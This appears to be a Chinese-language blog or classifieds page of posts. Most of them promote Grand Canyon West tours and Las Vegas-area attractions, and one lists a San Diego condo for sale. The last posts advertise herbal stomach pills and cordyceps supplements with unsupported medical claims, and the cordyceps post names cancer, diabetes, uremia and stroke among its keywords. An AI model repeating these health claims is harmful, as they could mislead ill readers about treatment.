        在返回码头后,您的西缘探险将继续搭乘空调大客车进行西峡谷自助游地面游。您的第一站是华拉派牧场,这是一个狂野的西部牛仔小镇,拥有旧西部枪战和套索课程。前往鹰角之旅,并欣赏巨大的鹰形岩层。看到来自几个部落的印第安人住宅,并在这个位置享受文化音乐和舞蹈。从那里,您将前往鸟笼点,欣赏西环巨大石墙的360度全景。回到已经探索过大峡谷的航站楼和终点站,这是一次真正的一生难忘的体验!

        包括:
        大峡谷西和科罗拉多河的鸟瞰景观飞行
        气候控制舱
        大型超大型窗户非常适合拍照
        高翼提供清晰的全景
        飞行之旅中的解说
        沿峡谷边缘的多个了望点的自导游览
        要带的物品包括:
        请携带您的身份证 – 所有预订旅行的乘客必须持有政府颁发的身份证明。
        请确保在您的旅程中尽早预订旅行。
        水:可以自备一瓶水,但是乘坐飞机期间不得打开水瓶。
        !不要忘了您的相机允许并鼓励使用相机和手机,但是请注意:严禁在直升机内和周围使用“自拍杆”和延伸相机杆。
        不确定穿什么?3月到9月建议穿毛衣,10月至3月中旬应该穿冬装。
        穿舒适的鞋。大峡谷的地面不平滑,多岩石且不平坦。穿可应对崎岖地形的结实且覆盖脚趾的鞋子很是重要。强烈推荐运动鞋或登山鞋。

        重要信息

        飞行时长
        大峡谷大约20分钟的飞行时间

        在大峡谷的停留时间
        在开始您的空中之旅之前,您可以在自导游中探索西缘。

        驶至航站楼
        开车到我们位于大峡谷西机场附近的航空总站。

        办理登机手续
        航班起飞前30分钟在航空总站办理登机手续。飞行后,您将获得进入公园的通行证并沿边沿进行停靠。

        航程
        乘坐令人兴奋的飞机之旅,在空中欣赏大峡谷最着名的景点。景观包括Eagle Point,鸟粪点,科罗拉多河以及大峡谷西部的其他地区。

        返回至航站楼
        返回到码头,乘坐免费班车继续游览的边缘部分。

        华拉派牧场
        您的自我导游轮游的第一站是一个老西部城市,牛仔quickdraw决斗重演。学习如何加速绘制或套索绳索,就像一个真正的牛仔!

        鹰点
        这个了望台提供了巨大的鹰状岩层,文化舞蹈和一个展示传统美国原住民住宅的小村庄的景观。

        鸟粪点
        前往鸟粪点,欣赏峡谷墙壁的360度全景。

        返回到大峡谷西缘航站楼
        经过美妙的一天观光后,您的机动车司机会将您送回机场。

        预订旅行

        成人票全额零售价:$194.00            产品代码:SWW-1L

        在线价格开始于:
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        2018-04-21 / by / in
        文化之旅:在西大峡谷探索华莱派印第安人文化 ,中文客服电话: 1-929-302-9136

        了解门票,在线预订门票。如果您需要更多资讯,请随时联系我们。

        电话: 1-888-868-WEST or  928-769-2636.
        中文网站:http://dxg.gobustour.com/
        邮箱: reservations@grandcanyonresort.com

        中文服务咨询:
        1-929-302-9136
        1-917-563-1306

        西大峡谷位于拉斯维加斯以东,约两个小时车程。对看过赌城纸醉金迷的游客来说,想要避开喧嚣,领略大峡谷的壮观景色,来到华莱派农场再体验一下华莱派印第安人文化的风情,欣赏这里的大峽谷小木屋,那么两天一夜的西大峡谷之旅应该是性价比较高的计画了。

        出发
        从赌城去往西大峡谷的路很简单,只需要记住拐两个个弯就行

        首先,从515号州际公路出了赌城,一路向东南,行使约1小时(50英里左右),到Pierce Ferry Rd左拐(东北方向,有大型广告牌标记西大峡谷),再走28英里,右转到Diamond Bar Rd就可直通西大峡谷了。

        从赌城去往西大峡谷的路很简单,只需要记住拐两个个弯就行。
        从赌城去往西大峡谷的路很简单,只需要记住拐两个弯就行。
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        落日余辉中品味华莱派印第安文化
        西大峡谷掠影
        来到西大峡谷,有三个地方可以饱览峡谷的美景,分别是蝙蝠峡(鸟粪点),鹰峡(鹰角)和天空步道)。三个景点各有特色。其中,名气最大的当属「天空步道」。这条宽20米,外探21米的ü型玻璃桥,建立在鹰峡的悬崖之上。游客不仅可从这儿瞭望大峡谷,还能从脚底直视1200多米下的科罗拉多河,景色蔚为壮观。而在最西端的蝙蝠峡(鸟粪点)则是欣赏日落的好地方。这里视野开阔,游客得以瞭望峡谷全貌。因为曾被发现了大量可作为肥料的蝙蝠粪,因而得名。现在,「掏粪」的工作虽然已停止,但当初使用的脚架和设备依然留在这里。9-7-450x300

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        留宿

        看完日落,留宿在西大峡谷附近的华来派农场(Hualapai Ranch)是在惬意不过的事了。这里有十几间小木屋,每个木屋都面向大峡谷的方向。游客坐在木屋的门廊上,拿一杯暖手的咖啡,眺望远方慢慢消失在黑夜中的大峡谷,西部牛仔的潇洒与沧桑感油然而生。

        夜凉如水,天黑之后,老牛仔会在木屋前的空地上燃起篝火,弹唱民谣。酒店还为房客免费提供了棉花糖烧烤和热巧克力,在与伙伴的谈笑中,享受温暖和惬意。

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        饮食
        既然要留宿,就要品尝一下这里的牛仔饭。在景点和华来派农场都设有餐厅。三餐融合美国西部的传统食品,其中当地的烤猪排十分地道,并搭配土豆泥,时蔬和曲奇甜点等。因为餐厅为西部小镇的样子,工作人员的衣着也都是牛仔风格,同行的朋友因此笑称这儿的午餐为「牛仔饭」

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        与日出小镇
        第二天的行程一定要从日出开始,与日落相比,大峡谷的日出更加生机勃勃。峡谷在朝阳中慢慢恢复了温暖的颜色,游客从留宿的木屋附近就可静坐欣赏。

        吃过早餐,农场也恢复了热闹游客可以在这个西部电影模样的小镇里,玩一玩绳索套木牛,体验当一回牛仔;还可以进行一场左轮手枪对决,扮演一下电影中神枪手;同时,还可以在牛仔的陪同下,骑马游览峡谷。

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        中文旅游咨询热线:1-917-745-3233
        美国大峡谷地址:鹰角路,美国亚利桑那州,Peach Springs,86434
        中文页面:http://dxg.gobustour.com/

        2018-04-20 / by / in
        拉斯維加斯週邊最好景點 大峡谷旅游 电话: 1-929-302-9136

        带你去看拉斯維加斯週邊最好景點
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        大峡谷国家公园大峡谷国家公园是美国西南部的国家公园也是拉斯维加斯旅游的必去景点,

        被列为世界自然遗产,分为西峡谷(天空步道)以及南峡谷,另外还有死亡峡谷 羚羊峡谷马蹄湾锡安国家公园火焰谷州立公园红石峡谷布莱斯峡谷最小国家公园
        由科罗拉多河耗费万年所切割出来的科罗拉多大峡谷景观闻名于世。

        大峡谷分西峡谷和南峡谷,其中差别请看这篇文章:美国大峡谷西缘和南缘的区的

        (您或许还听说过西峡这么一个名称,这部分峡谷紧邻大峡谷国家公园西侧,属于印第安人保护地,并不在国家公园的范围内)。三部分峡谷各有特色。北峡海拔高度最高(大约2400米),降水机率比较大。南峡是大峡谷最受欢迎的一部分,90%的大峡谷游客访问南峡,平均海拔高度2100米,距离谷底约1500米。内峡地势比较低,隐藏在南峡与北峡之间,更靠近东部的沙漠。

        如果你喜欢抢险,那么去死亡峡谷是大峽谷探險不可缺少的内容。

        死亡峡谷-Badwater Pool-北美最低点

        网上关于死亡峡谷的介绍大部分都是枯树,寸草不生的景象,楼主介绍的Badwater Pool正是死亡峡谷形成的真正的原因(死亡谷之谜)。由于土里还有较高的盐份导致死亡峡谷内的动植物无法生存。680x (3)

        Badwater Pool是一个盆地,地势较低,位于海平线下方855米。原先是一个蓄水池,经过长时间的洗礼,水份蒸发干了,地上堆积如山的不是泥土,而是盐巴,盐巴,盐巴,重要的事情说三遍。远看泛着光以为是湖泊,近看像泥堆,细看却是雪白的盐巴680x (5)

        恶水是北美的最低点。这个名子来源于此处一个地下泉涌出形成的小水潭,由于盆地中盐分的累积,这个潭里的水无法供人食用。盆地里那些蜂窝状的盐结晶地是由于每年的雨水的蒸发循环以及重复的冰冻解冻而逐渐由盆地表面的盐壳形成的。

        巴德沃特即美国的死亡谷,曾经是个湖泊,现在几乎干涸。死亡谷的面积总共有3000平方里,其中550平方里低于海平面,位于加州和内华达州的边境,距拉斯维加斯约224公里。由于此地干旱和熊熊烈火般气候,让不少以死亡谷为快捷方式,前往加州采矿的淘金客,往往不幸葬身于无情的沙漠之中,死亡谷的声名更不径而走,死亡谷也因此而得名。

        死亡谷国家公园

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        羚羊峡谷 – 羚羊峡谷+马蹄湾(马蹄形俯瞰)

        羚羊峡谷和马蹄湾都在佩吉镇上,两个景点的距离非常近。从大峡谷到佩吉的路上几乎一路都没有网络信号,路过的村庄有的甚至小到连subway和麦当劳都没有,完全一副大美国的农村景象,走这条路线的亲一定要提前下载好离线的google map。行程当天遇到一对couple说是现场买的票,直接把钱给了印第安人导游,才30美元一个人(应该完全进了导游的口袋)。所以,如果是淡季去旅游不妨到现场去碰碰运气。680x

        羚羊峡谷位于印第安人的保护区,所有游客统一到一个地方集合,然后由印第安人带领乘坐皮卡车进去峡谷区域,个人认为此举一是为了给当地人创收,二是考虑到大家的安全,沙漠地区尘土飞扬,地面坑坑洼洼。建议大家带口罩,进峡谷路线扬起的灰层不亚于施工场地,10几分钟的路程楼主的相机表面就布满的一层灰。

        需要提醒大家的是,参观时间基本在一小时左右,一进一出都是同一条路线。进去的时候印第安导游会介绍羚羊峡谷的形成、历史、包括帮助你取景拍一个美美的照片。比如上图的爱心和日出,都是在导游的指导下完成的。楼主认为在印第安导游带领下参观羚羊峡谷最大好处就是他们可以帮忙调相机的颜色,任何手机任何相机都能搞定,拍出来都是这种暗红色的岩石颜色,在太阳的照射下很好的展现了光与影的结合。手机拍摄最好的是三星,刷了苹果好几条街,楼主是佳能5D3的相机,选择的是P模式。由于峡谷内光线着实太暗,快门时间较长,在没有三脚架的情况下,很多照片都模糊了。参观完原路返回的时候真是人山人海,日本旅行团居多,完全没有办法拍全景照片了,基本就是快速撤退。

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        马蹄湾是科罗拉多河在亚利桑那州境内的一小截U形河道,是科罗拉多河在格兰峡谷的一部分,此景点无须门票,离拉斯维加斯约 4 小时半车程,从停车场到马蹄湾边上步行时间大概在20分钟左右。最佳的拍摄点也就2个地方,大家只好挨个排队等。几乎就是趴在悬崖边摆POSE。没有栏杆,站在马蹄湾上俯瞰整个河道,令人惊心动魄。
        马蹄湾通常与羚羊谷是同一个团,两地相隔不远。 680x (2)
        锡安国家公园 Zion National Park
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        锡安国家公园是犹他州最有名的国家公园,离拉斯维加斯约 2 小时半车程,

        生态丰富,不管是初学者或资深登山者,都有适合的步道可供选择。

        锡安公园和布莱斯峡谷相隔一小时半的车程,

        火焰谷州立公园

        valley-of-fire-state-park-3009799_640火焰谷州立公园位于美国拉斯维加斯东北90公里处,简称火焰谷。它是内华达州最古老的国家公园,成立于1935年,覆盖面积达14120公顷。之所以叫火焰谷,是因为山谷中大面积露出地表的中生代时期的红色砂岩会在阳光下折射出像烈火般的红色,远远望去就像火烧山谷。

        数百万年遭受风雨侵蚀的砂岩,奇形怪状满布山谷之中,正如火焰谷红的真像是在燃烧一般。沙漠狂风在此地不断吹袭红色的沙岩,形成奇特的石头造型。据考证,此地曾被当地的原住民印地安人认为是圣地,所以,在红色的砂岩之上还留有许多的壁画,壁画的内容包含当时的印地安人的生活及大自然的变化等,有些壁画已经有8000年的历史了。在公园的入口处,旅客服务中心会放映介绍公园的多媒体短片,介绍这些的壁画,及公园内的生态环境。

        奇特的景致让火焰谷州立公园成为了多部好莱坞部科幻片的取景地,比如1990年阿诺•施瓦辛格主演的《全面回忆》,1994年的《星舰迷航记VII:星空奇兵》,2007年在中国创造票房神话的《变形金刚》等。

        红石峡谷国家保护区 Red Rock Canyon National Conservation Area

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        从长街出发向西29公里即是达红岩峡谷国家保护区。此园内独特的地理景观为红色的沙岩和白色的石灰岩层层叠起,互相映照。一条十三里长的步道成回路形,沿途景致极美。当地的印第安遗迹也是亮点,并且有看到野生动物的机会。这里无疑是拉斯维加斯附近值得一游的好去处,很多在赌城登记结婚的新人也将此作为婚纱照拍摄场景。

        地址:1000 Scenic Loop Dr,拉斯维加斯

        布莱斯峡谷布莱斯峡谷国家公园

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        布莱斯峡谷是美国最小的国家公园,却也是游客欣赏日出日落的最佳景点,离拉斯维加斯约5小时车程,

        布莱斯峡谷和锡安公园相隔一小时半的车程,可参加拉斯维加斯一日团的锡安公园+布莱斯峡谷。

        2018-04-20 / by / in
        美国西峡谷一日游:天空步道玻璃桥、老鷹岩Eagle Point 、蝙蝠岩Guano Point

        如果用一天的时间看遍西峡谷的美景那是不可能的,但如果你想用最短时间内领略这些著名的景点风光,那么这条路线就是强烈推荐给你的:拉斯维加斯 -西峡谷 – 玻璃桥

        从拉斯维加斯前往大峡谷西缘,除自驾外,主要有以下两种交通方式:往返穿梭巴士,道路畅通的情况下,单程约2小时;飞机或直升飞机往返,天气允许的条件下,单程约30分钟。途中将经过胡佛大坝(Hoover Dam)和约书亚树林(约书亚树林),可观赏沿途美丽的风景,用相机记录旅程。

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        大峡谷壮观陡峭,位于美国亚利桑那州科罗拉多河英文,大峡谷长277英里(446公里),宽达18英里(29公里),深达一英里(6093英尺或1857米)。

        峡谷和相邻的边缘包含在大峡谷国家公园,凯巴布国家森林,大峡谷 – 帕拉桑特国家纪念碑,华拉派印第安保护区,Havasupai印第安保护区和纳瓦霍族。总统西奥多·罗斯福是大峡谷景区的保护的主要支持者。

        这里的岩石层经科罗拉多河及其支流的几百万年的侵蚀打磨后,形成了如今的地质景观。 科罗拉多河及支流的持续流动一直在加深和拓宽峡谷。

        数千年来,这个地区一直居住着美洲原住民,他们在峡谷及其众多洞穴内建造了定居点。在普韦布洛人认为大峡谷圣地,以及朝觐它。第一个看到大峡谷的欧洲人是来自西班牙的GarcíaLópezdeCárdenas,他于1540年到达。

        大峡谷西缘内提供完善的接驳车服务游览观景,不允许开车进入,园区需购买门票。主要景点包括空中走廊,老鹰岩,蝙蝠岩和华莱派牧场等,尤以空中走廊为特色景点,这也是每位游客造访西缘的必去景点。而以空中走廊,直升飞机,谷底船游等为方式的观光游览,让广大游客可水,陆,空全方位领略大峡谷的自然风采。下面来详细说说西缘的特色景点和玩法攻略。

        大峡谷天空步道(玻璃桥):

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        大峡谷天空步道也称大峡谷空中走廊(大峡谷天空步道)被称为“世界第八大奇景”,建造在老鹰崖距谷底1200米的高空,悬空于科罗拉多河之上,向大峡谷悬崖以外延伸21.34米,整体呈ü字形,可承载相当于71架满员波音747飞机的重量。它宽约3米,中间的一米多是透明玻璃,游客可以行走其上,左右两侧的边道呈半透明,供害怕走在玻璃面上的游客使用。游客站在大峡谷空中走廊,可以720度的角度欣赏大峡谷奇观,俯瞰科罗拉多河景观。

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        老鹰岩鹰角

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        老鹰岩(Eagle point),在距离科罗拉多河4000尺的高空,鹰峰对于当地的Hualapai人们来说,是大自然给予的庄重礼物。

        在距离科罗拉多河4000尺的高空,鹰峰对于当地的印第安人们来说,是大自然给予的庄重礼物。在这个由大自然雕琢的鹰峰最佳观赏点,你可以近距离感受到天与地不断碰撞出的完美大峡谷景象。

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        蝙蝠岩Guano Point

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        蝙蝠峰是最具有代表性的山峰,与普通的平顶不同,它如一颗钻石,直指天空。夕阳下的蝙蝠峰如一座黄金筑就的金字塔,峰岩蜿蜒的小道延伸入峡谷,像一条通往天空的路。在这座山峰的最高点你可以欣赏到大峡谷的雄伟壮丽的景象,那种天,地,人如此和谐的感觉就流荡在科罗拉多高原的空气中。

        2018-04-20 / by / in
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        2018-04-19 / by / in , ,
        美國大峽谷天空步道 Skywalk,體驗天空之境,漫步雲端

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        世界上第一个全透明玻璃空中步道,大峡谷天空步道(大峡谷天空步道,官方旧译名“空中玻璃走廊”,另有“天际行”等非官方译名)是位于美国大峡谷西缘瓦拉派印第安保护区内的一个人工观光景点,是世界上第一个空中玻璃悬挂式的观景走廊,以一个ü字形建构于峡谷悬崖边缘,最远处距悬崖边缘约20米,其下为深2007年从年3月28日开始正式营运,参观费用为每人25美元

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        大峡谷空中玻璃走廊与世界摩天大楼相比

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        建造
        天空步道由出身上海的美籍华裔商人金鹉(David Jin)所构思,结合来自拉斯维加斯的工程设计团队于2004年3月开始兴建[3],2007年初初完工,耗资约4000万美元[4]。天空步道为BOT建案,所有权归瓦拉派部族,出资兴建的业者有25年的营运权。

        天空步道向外伸展的主体结构为ü字形钢柱,固定两脚打入石灰岩壁的基桩约14米深,总共耗费100多万磅(约450公吨)的钢材。走廊铺设有厚达10.2公分的透明玻璃作为地板与两侧围栏。结构强度可承受时速160公里的八面强风及发生于80公里内的里氏震级8.0的地震。不过为了安全与观光品质,业者规定的上限只允许同时120人进入,而且会发给每个游客特殊的鞋套,以避免游客滑倒及刮伤透明玻璃。

        中文旅游咨询热线:1-917-745-3233
        美国大峡谷地址:鹰角路,美国亚利桑那州,桃花泉,86434
        中文页面:HTTP
        //www.edninfo.com/grandcanyon/更多信息请访问:grandcanyonwest。COM

        2018-04-18 / by / in , ,
        美国大峡谷西缘和南缘的区别,大峡谷旅游免费咨询中文服务:1-929-302-9136, 1-917-563-1306

        大峡谷每年都有数以百万计的游客在其南缘和西缘,但许多人并没有意识到这些地区的边缘在其独特的岩层和野生动物方面差异很大。

        大峡谷南缘

        大峡谷南缘壮观景色大峡谷国家公园 – 也被称为南缘 – 被认为是美国西南部的宝石。 作为峡谷中最壮观的一部分,南缘从每个角度和每个角度都是风景如画。 在这里,古老的岩壁被郁郁葱葱的松树森林包围着 – 这里有麋鹿,骡鹿,山狮,松鼠和加州秃鹰。 几十年来,南缘的树木繁茂的景象一直是艺术家和摄影师的最爱。 事实上,南缘很可能一直是大峡谷几乎所有人物形象的源头。 大峡谷国家公园全年开放,供游客体验,以及所有的植物生活和野生居民。

        南缘特色

        • 森林

        发现横贯大峡谷边缘的黄松树林迷人景致。 随着各种树木全年蓬勃发展,这无疑是峡谷中最郁郁葱葱的地区。

        • 景观

        南缘提供了峡谷最壮丽的景色。 这里蜿蜒的岩壁横跨地平线延伸,彼此相距近20英里,形成了世界闻名的巨大峡谷。 在数百万年的深化中,领略自然的造化,和美妙的体验。

        • 动物

        虽然这个庞然大物的岩石结构可能看起来没有任何动静,但它实际上是麋鹿,山狮,松鼠,鹿,骡子,蜥蜴和加州秃鹰的家园。

        交通旅游

        南缘是峡谷最繁忙和最发达的地区。 游客可以在附近的亚利桑那州图萨扬镇找到6个与边缘接壤的酒店和5个酒店。 在该地区还有众多的手工艺品和手工艺品商店,游客信息中心以及从休闲到高档的众多餐饮选择。

        大峡谷西缘

        大峡谷西缘天空步道,玻璃桥距国家公园仅几步之遥,位于华拉派部落保留区内,是大峡谷西缘的狂野西部自然景观。 尽管不像熙熙攘攘的南缘那样具有商业发达,西缘仍然每年接待近百万游客。 尽管如此,这个地区更加平和,人口不多。 这里的峡谷拥有壮观的自然雕刻岩层,如鹰点 – 这是一个由古瓦拉派尊崇的建筑。 这也是峡谷中飞机可以进入地面的唯一区域。 最令人兴奋的是人行天桥 – 在峡谷墙壁之间延伸的玻璃走道,并允许客人盯着一英里通往地面。 从拉斯维加斯的快速旅程,参观崎岖宁静的大峡谷西部,体验这个地区提供的许多独特的元素。

        • 天空与玻璃桥,天空人行步道

        西缘拥有世界着名的人行天桥,上面有令人难以置信的美景。 这项非凡的工程技术让旅游可以走到峡谷中间,悬停在空中一英里。 桥的玻璃地板提供了所有的最佳景观:峡谷在你的脚下!

        • 访客

        虽然西缘每年接待多达一百万的游客,但与南缘相比,它通常要少得多。 在这里享受更僻静安静的观光体验。

        • 森林

        南缘被茂密的森林所包围,西缘则为您提供更多彩的沙漠环境。 这里的氛围让人联想到美国边境上的第一批探险者会看到什么。

        • 文化

        几个世纪以来,这个峡谷地区一直是华拉派印第安部落的所在地。 这些部落的人认为这里是神圣的地方,他们被称为“峡谷守护者”。

        电话:+88-8- 868-9378

        地址:Grand Canyon Skywalk,Mohave County,AZ,USA(查看地图)

        网址:http://dxg.gobustour.com/

        邮箱: reservations@grandcanyonresort.com

        中文服务咨询:1-929-302-9136, 1-917-563-1306

        2018-04-18 / by / in
        世界七大景觀之一:美國大峽谷西緣,體驗地道華萊派印第安文化,中文服务咨询:1-917-563-1306

        美国大峡谷

        大峽谷西緣  Grand Canyon West 景点地理地址:位于亚利桑那州的西北部,总面积达1100多平方公里,

        西大峡谷最大的特点是距离拉斯维加斯仅两个半小时车程,

        西峡地址:Grand Canyon West Skywalk,Peach Springs,AZ86434
        美国大峡谷西缘开放时间:7:00-19:00,天天开放,可能会随着季节不同而调整开放日期,请以景区官网为准2)餐厅:14:30以前

        到达方式:自驾US-93 40mi转Pierce Ferry Road 28mi转 Diamond Bar Road,约4小时。

        电话:+88-8- 868-9378

        地址:Grand Canyon Skywalk,Mohave County,AZ,USA(查看地图)

        网址:http://www.grandcanyonwest.com

        邮箱: reservations@grandcanyonresort.com

        中文服务咨询:1-929-302-9136, 1-917-563-1306

        对看过赌城纸醉金迷的游客来说,想要避开喧嚣,领略大峡谷的壮观景色,再体验一下华莱派印第安人文化的风情,那么两天一夜的西大峡谷之旅应该是性价比较高的计划了。

        盛大峡谷1119107_640

        交通
        从赌城去往西大峡谷的路很简单,只需要记住拐两个个弯就行

        地图拉斯维加斯 - 拉斯维加斯到Crand-峡谷西 - 450x236

        首先,从515号州际公路出了赌城,一路向东南,行使约1小时(50英里左右),到Pierce Ferry Rd左拐(东北方向,有大型广告牌标记西大峡谷),再走28英里,右转到Diamond Bar Rd就可直通西大峡谷了。

        漫步天空大自然的震撼之美,西大峡谷共有三处必去景点:位于西端的蝙蝠峡(华PA派牧场),以及地处鹰峡(鹰角)久负盛名的天空步道(玻璃桥)。

        人生几何,对酒当歌,譬如朝露,去日苦多。西峡之美,忧思难忘。何以解忧?不仅杜康青青。子衿,悠悠我心。但为此景,直抒豪情。

        IMG_7391决赛-1

        大峡谷分为大峡谷国家公园(大峡谷国家公园)和属于印地安人保留地的西大峡谷,也称大峡谷西缘(西大峡谷)。

        1979年,这里被认定为世界自然遗产虽然大峡谷不是世界上最深的峡谷,(墨西哥和美国爱达荷州各有一座更深的峡谷)但如果论起峡谷的壮阔程度和丰富多彩的景色,这里当仁不让可以称为世界第一。在500万年前,奔腾的科罗拉多河将这里穿凿成巨大的峡谷,当河水水量渐渐减少,这里的岩石全都暴露在风吹日晒之中。经过水的侵蚀和自然的风化,峡谷深处所裸露出来的岩石可以一直追溯到5亿年前。在这里你不仅可以在蝙蝠岩和老鹰岩(Eagle Point)360度全方位观赏叹为观止的大峡谷西缘景观,还可以身临其境地探索活动,如天空步道(大峡谷玻璃桥),高空滑索,科罗拉多河大峡谷漂流,骑马,射击,越野等等;欣赏到华莱派印第安文化,品尝印第安美食,而且食宿也很方便。

        门票:平均一个人70美金以上。开放时间:冬季8:00-16:30,夏季7:00-20:00。

        到达方式:自驾US-93 40mi转Pierce Ferry Road 28mi转 Diamond Bar Road,约4小时。

        电话:+88-8- 868-9378

        地址:Grand Canyon Skywalk,Mohave County,AZ,USA(查看地图)

        网址:http://www.grandcanyonwest.com

        邮箱: reservations@grandcanyonresort.com

        中文服务咨询:1-929-302-9136, 1-917-563-1306

        2018-04-18 / by / in
        [2018年3月] 圣地亚哥大学城两房一卫精品公寓出售

        圣地亚哥大学城两房一卫精品公寓出售。面积831平方尺(77平方米),2个卧房,一个带浴室的卫生间,建于1997年,物业费313美金/月,售价50万美金。目前该地区平均租金收入为2200美金-2300美金/月。小区门口有公交车站,距离加州大学圣地亚哥分校一站车程。小区临近超市,餐馆,步行可达。地理位置极佳,投资自住皆宜。通过大学城的轻轨列车官方预计2021年投入使用据多方评估,轻轨列车通行后大学城房价将会更上一层楼投资置业良机,敬请把握时机,联系您的经纪人咨询详情:

        Sharon Wang(双双)

        电话:858-888-5197。

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        微信二维码:

        Sharon Wang bussiness_card

        地理位置:

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        小区环境:

         

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        房屋结构:

         

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        http://www.sandag.org/index.asp?projectid=250&fuseaction=projects.detail

        联系我时,请说明来源:金牌资讯网

        2018-03-24 / by / in , , ,
        上班族饮食多盐多油易发胃病 有了它就不怕了!中科养胃丸 电话:(718) 886-8834 纽约养胃、纽约胃痛、纽约胃药、胃酸倒流、消化不良

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        网址 :中科养胃丸
        电话 :(718) 886-8834


        现今的都市上班族普遍呈现亚健康状态,表现在肩颈腰部酸痛、头痛、胃痛消化不良、失眠、过度疲劳等。这些都是由于上班族过度透支自己体力造成的。在饮食上,多以多油多盐的快餐为主,很多人不按时就餐,经常在饥饿的时候暴饮暴食,或者一顿解决,还有人为了熬夜加班狂喝咖啡和茶,对胃造成极大的刺激。

        胃痛胃胀消化不良胃酸过多几乎是每个上班族都有的痛苦经历。很多人由于不注意,胃一不舒服就吃药,导致后期越来越严重,要知道胃痛有时可能并不是胃出毛病了,而是其它的脏器。

        胃痛的成因很多,消化不良、感染幽門螺旋菌和胃酸倒流均會引致胃痛,但不同成因的徵狀均非常接近,令我們難以找出真正元兇。因此,遇上胃痛時必須及早求醫,認清成因並對症下藥。而預防胃痛則要從日常生活習慣開始,就由今天起,注意生活上的細節,做自己的護「胃」吧!

        消化不良最常见

        消化不良意思是吃下的食物难以消化,只吃少量食物便会有饱滞的感觉,同时亦是引致胃痛的主要来源。

        消化不良可以分为功能性消化不良和结构性消化不良两种,前者的起因是吃饭不定时、太饿或太饱,缺乏运动等导致的胃功能出现问题;后者则是胃溃疡、十二指肠溃疡和胃癌等疾病引发的消化不良。

        除了胃痛外,两者亦会引发胃胀、胃气、胃部不适和作呕等徵状,一般来说,大多数人属于功能性消化不良,只有少数是结构性消化不良引致。但由于两者徵状相似,故只能透过照胃镜来分辨成因。

        由于难以区别多种胃痛的成因,所以绝不能乱吃药。及时就医治疗,如果是功能性的问题,中医调理和食补以及调整生活节奏可以将胃恢复到原来的状态。

        慢性病调理还需靠中医药,中医药可以从内调养根源改善机体质素。还有在长年累月的饮食结构改变中达到养胃的效果。今天我们就来介绍使用国际专利萃取技术,采用纯天然药食同源成分——蜂胶和沙棘籽油,针对性修补胃黏膜、降低胃酸含量,适合各类人群的胃部滋养和修复的明星产品——中科蜂胶沙棘养胃丸。

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        针对亚健康的中科养胃丸

        中科养胃丸是中科健康产业集团股份有限公司研制开发的产品。中科集团成立于1984年,主营中药及中药保健品的研制、生产与销售,拥有一流的GMP生产流水线和强大的研发中心。该集团由中国科学院及其科研人员控股,是一家背景雄厚的高新技术企业。

        中科养胃丸的作用是根据中医传统针对胃部健康的概念「三分治七分养」,萃取天然有机沙棘果油,融合蜂胶精华,镇痛,能有效修复粘膜损伤部位,同时形成一层胃黏膜保护层,减少胃酸刺激,全面调理肠胃系统,强化营养吸收,从根本上防止胃部问题的产生。

        在中医药典籍记载中,蜂胶与沙棘也是针对性保护胃部的上品药材。

        主要成分有:有机沙棘籽油、蜂胶

        主要功效:

        促进消化,缓解胃胀、胃酸

        保护黏膜,减轻胃痛、腹泻

        舒缓镇痛,缓解皮肤湿毒

        提升免疫,消除身体疲劳

        胃酸倒流不容忽视

        除了消化不良,胃酸倒流引致的胸口灼热和疼痛亦会给人胃痛的错觉。「胃酸倒流」顾名思义,是指胃液倒流进入食道,严重时更可能会出现口吐酸水的情况。患者会出现包括喉痛、胸口灼热和疼痛等徵状。

        胃酸倒流的成因是由于食道和胃之间的下食道括约肌功能出现问题,长时间维持鬆弛的状态,令胃液有机会逆流回食道。下食道括约肌是食道与胃中间的一扇门,用作防止胃液或胃内食物逆流回食道,一般只在进食时才会暂时打开让食物通过。

        虽然下食道括约肌功能失效的真正成因仍未能证实,但据统计肥胖和年长人士较容易患上胃酸倒流。要避免出现胃酸倒流,应尽量减少进食如咖啡和近年流行的泡柠檬水等刺激性和酸性强的食物和饮品。睡觉前3至4小时不宜进食,同时亦要减少进食消夜。

        纽约养胃——中科养胃丸三期调理胃病有奇效

        中科养胃丸根据中医原理将调理期划分三期:

        1、症状缓解期

        5天

        两大养胃精粹蜂胶、沙棘,从根本调养胃部,减轻胃痛、胃胀、烧心,反酸等等,迅速缓解各种胃部不适。

        2、胃部调理期

        中和胃酸,促进胃粘膜修复,减轻胃部负担,全面调理肠胃系统;增强胃动力,促进胃肠蠕动,令胃部有效运作,逐步恢复肠胃机能,减少肠胃不适发作次数。

        3、根源改善期

        增强胃部抗病能力,强效抗菌,保护胃肠道,全面改善胃胀胃痛,舒缓胃酸过多等不适症状,并增强胃部消化功能,改善消化不良,维持胃肠健康。

         

        2018-01-24 / by / in , ,
        揭开养生三宝冬虫夏草的神秘面纱 真正的虫草功能原来这么强大!中科牌虫草精华 电话:(718) 886-8834 纽约冬虫夏草 纽约西藏虫草 养肺 降血压 抗疲劳 糖尿病

        养肺、肺保健品、肺炎、肺结核、止咳化痰、滋补润肺、哮喘、肾炎、肾虚、补肾壮阳、尿毒症、腰膝酸痛、糖尿病、心肌炎、心率不齐、脑中风、脑血栓、血管硬化、高血脂、降血压、养肾、抗癌、抗衰老、抗疲劳、抗失眠、提高免疫力、促进新陈代谢、镇静安神、脱发白发。

        纽约地区地址:曼哈顿总部:420 5th Ave, NY
        法拉盛总部:13633 37TH Ave, Renaissance Tower, Flushing, NY 11354

        电话:(718) 886-8834

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        小编上一集介绍了灵芝的作用及功效,相信许多读者对这个“仙草”有了更进一步的认识。今天这集我们继续来聊养生的话题。中国有三大补品,相对于人参、鹿茸来讲,冬虫夏草则更加神秘且珍贵。冬虫夏草极为稀少,需求量又大,导致市面上许多保健品商家以次充好,将一些其它的虫草冒充冬虫夏草出售。要知道,并不是所有的虫草都叫做冬虫夏草。只有蝙蝠蛾幼虫与真菌组合的虫菌复合体才叫做冬虫夏草。

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        冬虫夏草比起鹿茸和人参来说价值更高,毕竟物以稀为贵,冬虫夏草全部都是野生,又增加了它的稀有性。讲了这么多,我们看看这个似虫非虫、似草非草的养生佳品到底是个什么东东。

        真正的冬虫夏草都是野生的,存活在海拔3千至5千公尺的青藏高原。冬季,蝙蝠蛾幼虫在潮湿松软的土层遭到真菌寄生,不断蚕食幼虫直至其死亡。经过一个冬季,菌丝开始生长,直到夏天长出地面,外观像是一根小草,幼虫的躯壳与菌丝共同组成了一个完整的“冬虫夏草”。

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        野生的冬虫夏草存活率稀少,近来因为生态环境剧变和严重的人为破坏,产量逐年下降,几乎濒临绝种。目前野生冬虫夏草已被中国列为“国家二级保护植物”,并颁布法规禁止滥采。

